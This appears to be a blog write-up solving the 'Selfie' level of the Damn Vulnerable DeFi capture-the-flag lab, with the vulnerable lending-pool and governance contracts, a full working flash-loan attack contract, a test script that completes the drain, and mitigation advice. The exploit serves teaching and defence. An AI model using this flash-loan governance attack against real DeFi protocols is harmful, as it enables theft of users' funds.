Damn Vulnerable DeFi | 6 - Selfie
From Flash to Cash: Exploiting Governance in the Selfie Challenge
Goals
In the Selfie challenge, we simply have to drain all the 1.5 million DVT tokens from the new lending pool. Cool!
The Contracts
Note: I have removed some non-relevant parts for clarity.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./SimpleGovernance.sol";
contract SelfiePool is ReentrancyGuard, IERC3156FlashLender {
ERC20Snapshot public immutable token;
SimpleGovernance public immutable governance;
bytes32 private constant CALLBACK_SUCCESS =
keccak256("ERC3156FlashBorrower.onFlashLoan");
error RepayFailed();
error CallerNotGovernance();
error CallbackFailed();
modifier onlyGovernance() {
if (msg.sender != address(governance)) revert CallerNotGovernance();
_;
}
constructor(address _token, address _governance) {
token = ERC20Snapshot(_token);
governance = SimpleGovernance(_governance);
}
function maxFlashLoan(address _token) external view returns (uint256) {
if (address(token) == _token) return token.balanceOf(address(this));
return 0;
}
function flashLoan(
IERC3156FlashBorrower _receiver,
address _token,
uint256 _amount,
bytes calldata _data
) external nonReentrant returns (bool) {
if (_token != address(token)) revert UnsupportedCurrency();
token.transfer(address(_receiver), _amount);
if (
_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) !=
CALLBACK_SUCCESS
) revert CallbackFailed();
if (!token.transferFrom(address(_receiver), address(this), _amount))
revert RepayFailed();
return true;
}
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "./ISimpleGovernance.sol";
contract SimpleGovernance is ISimpleGovernance {
uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;
DamnValuableTokenSnapshot private _governanceToken;
uint256 private _actionCounter;
mapping(uint256 => GovernanceAction) private _actions;
constructor(address governanceToken) {
_governanceToken = DamnValuableTokenSnapshot(governanceToken);
_actionCounter = 1;
}
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender))
revert NotEnoughVotes(msg.sender);
if (target == address(this))
revert InvalidTarget();
if (data.length > 0 && target.code.length == 0)
revert TargetMustHaveCode();
actionId = _actionCounter;
_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});
unchecked { _actionCounter++; }
emit ActionQueued(actionId, msg.sender);
}
function executeAction(uint256 actionId) external payable returns (bytes memory) {
if(!_canBeExecuted(actionId))
revert CannotExecute(actionId);
GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);
emit ActionExecuted(actionId, msg.sender);
(bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data);
if (!success) {
if (returndata.length > 0) {
assembly {
revert(add(0x20, returndata), mload(returndata))
}
} else {
revert ActionFailed(actionId);
}
}
return returndata;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = _actions[actionId];
if (actionToExecute.proposedAt == 0) // early exit
return false;
uint64 timeDelta;
unchecked {
timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
}
return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}
function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
The
SeliePool
is the contract to exploit. It can emit flashloans.The
SimpleGovernance
allows to execute some actions on theSelfiePool
contract if the proposal passes (has enough votes).
The Hack
When looking at the contracts, something should come to mind pretty fast. A flash loan sounds like a good way to get a lot of votes and approve whatever proposal we want! Let's see if this is possible in this case.
1. The Idea
In the SelfiePool
, in addition to the flashLoan()
function, there is this function that looks especially fishy:
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
This seems like a perfect way to drain the contract all at once. With an arbitrary recipient on top of that! Greatm we have a plan. However, you may have noticed the onlyGovernance
modifier (it wouldn't be a challenge otherwise).
modifier onlyGovernance() {
if (msg.sender != address(governance)) revert CallerNotGovernance();
_;
}
This modifier requires that the msg.sender
is the governance contract. In other words, we have to call this function from the governance contract. This leads back to our idea of taking a flashloan to pass a proposal. A proposal that would trigger the emergencyExit()
function... with our address for instance.
2. The execution
Let's see how we could execute our plan concretely. To queue an action, we must have enough votes. This makes sense.
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender))
revert NotEnoughVotes(msg.sender);
...
}
So how are the votes calculated? Let's check the private function to see if we can manipulate the votes.
function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
To have enough votes, we need to have more than half the supply of tokens. Basically, the votes are calculated based on your token's balance as follows:
- 1 token == 1 vote.
So a flashloan is indeed a perfect way to get the votes required and queue a proposal! We should have more than enough votes to pass this requirement if we borrow the maxFlashLoan()
from the SelfiePool
.
Let's see the rest of the function to queue an action:
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
//...
// OK - We won't call this contract
if (target == address(this))
revert InvalidTarget();
// OK - If we pass data, we must call a contract (SelfiePool)
if (data.length > 0 && target.code.length == 0)
revert TargetMustHaveCode();
// OK - We are good to go :)
actionId = _actionCounter;
_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});
unchecked { _actionCounter++; }
emit ActionQueued(actionId, msg.sender);
}
So, thanks to the flashloan, we will be able to queue an action on the governance contract. When it will be exectuted, it will call the SelfiePool
contract, and the msg.sender
will be the SimpleGovernance
. That will allow us to trigger the emergencyExit()
function and beat the level.
There is just one thing we must remember to do before starting to execute our plan: the ERC20 token has a snapshot mechanism. So in order for the _hasEnoughVotes()
to pass, we have to trigger a snapshot right after receiving the loan, otherwise this line won't pass:
uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
Luckily enough, if you check the DamnValuableTokenSnapshot
token contract, the snapshot()
function is a public function that anyone can trigger.
function snapshot() public returns (uint256 lastSnapshotId) {
lastSnapshotId = _snapshot();
_lastSnapshotId = lastSnapshotId;
}
So we now have all the pieces we need to solve the Selfie level. Let's put them in order.
Solution
We can implement the contract that will trigger the loan and queue a governance action as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ISimpleGovernance} from "../selfie/ISimpleGovernance.sol";
interface ISelfiePool {
function flashLoan(
address _receiver,
address _token,
uint256 _amount,
bytes calldata _data
) external returns (bool);
function emergencyExit(address receiver) external;
}
interface IGovToken {
function snapshot() external returns (uint256);
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
contract Attack6 {
ISimpleGovernance private immutable simpleGovernance;
ISelfiePool private immutable selfiePool;
IGovToken public immutable governanceToken;
address private immutable player;
constructor(
address _simpleGovernance,
address _selfiePool,
address _governanceToken,
address _player
) {
simpleGovernance = ISimpleGovernance(_simpleGovernance);
selfiePool = ISelfiePool(_selfiePool);
governanceToken = IGovToken(_governanceToken);
player = _player;
}
function attack() external {
uint256 amount = governanceToken.balanceOf(address(selfiePool));
selfiePool.flashLoan(
address(this),
address(governanceToken),
amount,
""
);
}
function onFlashLoan(
address,
address,
uint256 amount,
uint256,
bytes calldata
) external returns (bytes32) {
governanceToken.snapshot();
governanceToken.approve(address(selfiePool), amount);
simpleGovernance.queueAction(
address(selfiePool),
0,
abi.encodeWithSignature("emergencyExit(address)", player)
);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
Here is the flow:
Request a flashloan of the maximum amount;
In the
onFlashLoan()
callback function, take a snapshot;Then, approve the
SelfiePool
to grab the token so we can repay the loan (the function would revert otherwise);Queue an action in the governance contract with the
emergencyExit(address)
as data, and our address as arguments;Return the expected hash to the
SelfiePool
;
At this point, we will have queued our malicious actions in the governance and repaid the loan. However, to pass the level, we still have to wait for the delay, and then execute the governance action. We will continue the flow in the selfie.challenge.js
test file.
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const Attack6 = await ethers.getContractFactory("Attack6", deployer);
const attack6 = await Attack6.deploy(
governance.address,
pool.address,
token.address,
player.address
);
await attack6.attack();
const twoDaysTime = 2 * 24 * 60 * 60; // Increase time cheat code
await time.increase(twoDaysTime);
await governance.executeAction(1);
});
After increasing the time by two days, we can finally execute the emergencyExit()
:
await governance.executeAction(1);
Let's run the test with the following command:
yarn selfie
And we get the following printed in the terminal:
Congrats! You just beat the level 6 - Selfie - of Damn Vulnerable DeFi.
๐ Level completed ๐
Takeaway
Multiple approaches could have been taken to mitigate this exploit:
Access control for the
snapshot()
function;No arbitrary address for the
emergencyExit()
! Just hardcode an address, and add a function to update the address if needed, with proper access control of course.The votes calculation is far from ideal here. Some guards against tokens received via flash loans could have been implemented.
Prefer well-known and battle-tested libraries like OpenZeppelin Governance when possible.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions